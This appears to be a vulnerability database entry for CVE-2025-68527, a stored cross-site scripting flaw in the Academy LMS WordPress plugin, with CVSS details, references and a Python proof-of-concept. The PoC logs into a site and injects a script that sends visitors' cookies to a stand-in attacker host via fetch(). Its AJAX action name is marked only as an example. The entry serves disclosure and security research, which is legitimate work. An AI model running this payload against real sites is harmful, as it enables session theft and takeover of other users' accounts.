CVE-2025-68527

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kodezen LLC Academy LMS academy allows Stored XSS.This issue affects Academy LMS: from n/a through <= 3.4.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Academy LMS <= 3.4.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import re

# CVE-2025-68527 PoC - Academy LMS Stored XSS
# Target: WordPress site with Academy LMS plugin <= 3.4.0

target_url = "http://target-site.com"
username = "attacker_account"
password = "attacker_password"

# XSS payload - cookie stealing example
xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"

session = requests.Session()

# Step 1: Login to WordPress
login_url = f"{target_url}/wp-login.php"
login_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'redirect_to': f"{target_url}/wp-admin/",
    'testcookie': '1'
}
session.post(login_url, data=login_data)

# Step 2: Inject XSS payload into Academy LMS input field
# Common injection points: course review, lesson comment, question submission
inject_url = f"{target_url}/wp-admin/admin-ajax.php"
inject_data = {
    'action': 'academy_course_review',  # Example action name
    'review_content': xss_payload,
    'rating': '5',
    'course_id': '1'
}
response = session.post(inject_url, data=inject_data)

# Step 3: Verify XSS is stored
print(f"XSS Payload submitted: {xss_payload}")
print(f"Response status: {response.status_code}")

# When victim visits the page, the script will execute
print("PoC Complete - Stored XSS injected successfully")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68527
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68527
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68527/
[4] VulDB https://vuldb.com/cve/CVE-2025-68527
[5] https://patchstack.com/database/Wordpress/Plugin/academy/vulnerability/wordpress-academy-lms-plugin-3-4-0-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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